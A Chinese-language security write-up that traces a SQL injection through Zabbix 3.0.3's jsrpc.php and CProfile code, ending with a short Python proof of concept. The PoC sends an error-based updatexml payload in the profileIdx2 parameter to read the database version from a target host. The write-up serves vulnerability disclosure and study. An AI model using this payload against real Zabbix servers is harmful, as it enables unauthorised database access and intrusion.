ZABBIX v2.2.x, 3.0.0-3.0.3 sql注入分析(附POC)

Zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位、解决存在的各种问题。

在系统默认开启guest账户登陆时,攻击者可以通过SQL注入获取系统权限进而进行下一步的攻击。在jsrpc.php以及latest.php两个文件中均存在sql注入漏洞,造成该sql注入的原因是在通过insertDB()函数向数据库中插入数据时未对参数进行有效过滤。

本文以ZABBIX3.0.3为例对该漏洞进行分析,首先对jsrpc.php文件进行分析追踪。在该文件中,存在如下代码片段:

$requestType = getRequest('type', PAGE_TYPE_JSON);
if ($requestType == PAGE_TYPE_JSON) {
    $http_request = new CHttpRequest();
    $json = new CJson();
    $data = $json->decode($http_request->body(), true);
}
else {
    $data = $_REQUEST;
}

...

case 'screen.get':
    $result = '';
    $screenBase = CScreenBuilder::getScreen($data);
    if ($screenBase !== null) {
        $screen = $screenBase->get();

        if ($data['mode'] == SCREEN_MODE_JS) {
            $result = $screen;
        }
        else {
            if (is_object($screen)) {
                $result = $screen->toString();
            }
        }
    }
    break;

...

其中$data参数中存储了request请求参数,将其传入CScreenBuilder::getScreen后,我们跟入getScreen函数,可以看到如下代码:

class CScreenBuilder {

    ...

    public static function getScreen(array $options = []) {

        if (!array_key_exists('resourcetype', $options)) {
            $options['resourcetype'] = null;

            ...

            if (array_key_exists('screenitem', $options) && array_key_exists('resourcetype', $options['screenitem'])) {
                $options['resourcetype'] = $options['screenitem']['resourcetype'];
            }
        }

        if ($options['resourcetype'] === null) {
            return null;
        }

        // get screen
        switch ($options['resourcetype']) {
            case SCREEN_RESOURCE_GRAPH:
                return new CScreenGraph($options);

            case SCREEN_RESOURCE_SIMPLE_GRAPH:
                return new CScreenSimpleGraph($options);

            case SCREEN_RESOURCE_MAP:
                return new CScreenMap($options);

            case SCREEN_RESOURCE_PLAIN_TEXT:
                return new CScreenPlainText($options);

            case SCREEN_RESOURCE_HOSTS_INFO:
                return new CScreenHostsInfo($options);

            case SCREEN_RESOURCE_TRIGGERS_INFO:
                return new CScreenTriggersInfo($options);

            case SCREEN_RESOURCE_SERVER_INFO:
                return new CScreenServerInfo($options);

            case SCREEN_RESOURCE_CLOCK:
                return new CScreenClock($options);

            case SCREEN_RESOURCE_SCREEN:
                return new CScreenScreen($options);

            case SCREEN_RESOURCE_TRIGGERS_OVERVIEW:
                return new CScreenTriggersOverview($options);

            case SCREEN_RESOURCE_DATA_OVERVIEW:
                return new CScreenDataOverview($options);

            case SCREEN_RESOURCE_URL:
                $options = self::appendTemplatedScreenOption($options);
                return new CScreenUrl($options);

            case SCREEN_RESOURCE_ACTIONS:
                return new CScreenActions($options);

            case SCREEN_RESOURCE_EVENTS:
                return new CScreenEvents($options);

            case SCREEN_RESOURCE_HOSTGROUP_TRIGGERS:
                return new CScreenHostgroupTriggers($options);

            case SCREEN_RESOURCE_SYSTEM_STATUS:
                return new CScreenSystemStatus($options);

            case SCREEN_RESOURCE_HOST_TRIGGERS:
                return new CScreenHostTriggers($options);

            case SCREEN_RESOURCE_HISTORY:
                return new CScreenHistory($options);

            case SCREEN_RESOURCE_CHART:
                return new CScreenChart($options);

            case SCREEN_RESOURCE_LLD_GRAPH:
                $options = self::appendTemplatedScreenOption($options);
                return new CScreenLldGraph($options);

            case SCREEN_RESOURCE_LLD_SIMPLE_GRAPH:
                $options = self::appendTemplatedScreenOption($options);
                return new CScreenLldSimpleGraph($options);

            case SCREEN_RESOURCE_HTTPTEST_DETAILS:
                return new CScreenHttpTestDetails($options);

            case SCREEN_RESOURCE_DISCOVERY:
                return new CScreenDiscovery($options);

            default:
                return null;
        }

    }

    ...

可以看到,在该函数中根据传入的resourcetype不同会实例化不同的类,而这些类的基类均为CScreenBase类。我们跟踪到CScreenBase类的构造函数中可以看到下面的代码:

class CScreenBase {

    ...

    public $profileIdx;

    public $profileIdx2;

    ...

    public function __construct(array $options = []) {
        ...

        foreach ($this->parameters as $pname => $default_value) {
            if ($this->required_parameters[$pname]) {
                $this->$pname = array_key_exists($pname, $options) ? $options[$pname] : $default_value;
            }
        }

        ...

        // Calculate timeline.
        if ($this->required_parameters['timeline'] && $this->timeline === null) {
            $this->timeline = $this->calculateTime([
                'profileIdx' => $this->profileIdx,
                'profileIdx2' => $this->profileIdx2,
                'updateProfile' => $this->updateProfile,
                'period' => array_key_exists('period', $options) ? $options['period'] : null,
                'stime' => array_key_exists('stime', $options) ? $options['stime'] : null
            ]);
        }

        ...
    }

    public static function calculateTime(array $options = []) {
        ...

        if ($options['updateProfile'] && !empty($options['profileIdx'])) {
            CProfile::update($options['profileIdx'].'.period', $options['period'], PROFILE_TYPE_INT, $options['profileIdx2']);
        }

        ...

    }
}

可以看到,在构造函数中将传入的参数带入calculateTime函数,在该函数中再调用CProfile::update并传入用户可控的参数。接下来再进入CProfile::update,有如下代码:

public static function update($idx, $value, $type, $idx2 = 0) {
    if (is_null(self::$profiles)) {
        self::init();
    }

    if (!self::checkValueType($value, $type)) {
        return;
    }

    $profile = [
        'idx' => $idx,
        'value' => $value,
        'type' => $type,
        'idx2' => $idx2
    ];

    $current = self::get($idx, null, $idx2);
    if (is_null($current)) {
        if (!isset(self::$insert[$idx])) {
            self::$insert[$idx] = [];
        }
        self::$insert[$idx][$idx2] = $profile;
    }
    else {
        if ($current != $value) {
            if (!isset(self::$update[$idx])) {
                self::$update[$idx] = [];
            }
            self::$update[$idx][$idx2] = $profile;
        }
    }

    if (!isset(self::$profiles[$idx])) {
        self::$profiles[$idx] = [];
    }

    self::$profiles[$idx][$idx2] = $value;
}

在上面的代码中,将用户传入的参数赋值给了self::$insert,而在jsrpc.php文件最后会包含page_footer.php

require_once dirname(__FILE__).'/include/page_footer.php';

在该文件中会执行CProfile::flush()如下所示:

if (CProfile::isModified()) {
    DBstart();
    $result = CProfile::flush();
    DBend($result);
}

继续查看CProfile::flush()如下:

public static function flush() {
    $result = false;

    if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {
        $result = true;

        foreach (self::$insert as $idx => $profile) {
            foreach ($profile as $idx2 => $data) {
                $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
            }
        }

        ksort(self::$update);
        foreach (self::$update as $idx => $profile) {
            ksort($profile);
            foreach ($profile as $idx2 => $data) {
                $result &= self::updateDB($idx, $data['value'], $data['type'], $idx2);
            }
        }
    }

    return $result;
}

在该函数中可以看到self::$insert中的数据被传入了self::insertDB函数,在self::insertDB中未对用户传入的profileIdx2参数进行任何检查直接带入了sql查询中,从而造成了sql注入。如下所示:

private static function insertDB($idx, $value, $type, $idx2) {
    $value_type = self::getFieldByType($type);

    $values = [
        'profileid' => get_dbid('profiles', 'profileid'),
        'userid' => self::$userDetails['userid'],
        'idx' => zbx_dbstr($idx),
        $value_type => zbx_dbstr($value),
        'type' => $type,
        'idx2' => $idx2
    ];

    return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
}

而在last.php文件中有如下代码,也是将用户传入的参数传入了CProfile::update函数,有如下代码:

if (hasRequest('favobj')) {
    if ($_REQUEST['favobj'] == 'toggle') {
        // $_REQUEST['toggle_ids'] can be single id or list of ids,
        // where id xxxx is application id and id 0_xxxx is 0_ + host id
        if (!is_array($_REQUEST['toggle_ids'])) {
            if ($_REQUEST['toggle_ids'][1] == '_') {
                $hostId = substr($_REQUEST['toggle_ids'], 2);
                CProfile::update('web.latest.toggle_other', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $hostId);
            }
            else {
                $applicationId = $_REQUEST['toggle_ids'];
                CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId);
            }
        }
        else {
            foreach ($_REQUEST['toggle_ids'] as $toggleId) {
                if ($toggleId[1] == '_') {
                    $hostId = substr($toggleId, 2);
                    CProfile::update('web.latest.toggle_other', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $hostId);
                }
                else {
                    $applicationId = $toggleId;
                    CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId);
                }
            }
        }
    }
}

后面的过程与前面分析相同,就不再赘述了,下面附上poc(仅供参考,请勿用于非法用途,由此引发的任何后果与作者无关)。

import requests
import re
import sys

host = sys.argv[1]
base_url = "{host}/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2 {payload}&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"

def get_data(content):
    result = re.findall(r"XPATH syntax error: '~(.+?)~'", content)
    if result:
        return result[0]
    else:
        return False

def confirm():
    payload = "or updatexml(1,concat(0x7e,(version()),0x7e),0) or''"
    res = requests.get(base_url.format(host = host, payload = payload))
    result = get_data(res.text)
    if result:
        print "{host} is vul".format(host = host)

if __name__ == '__main__':
    confirm()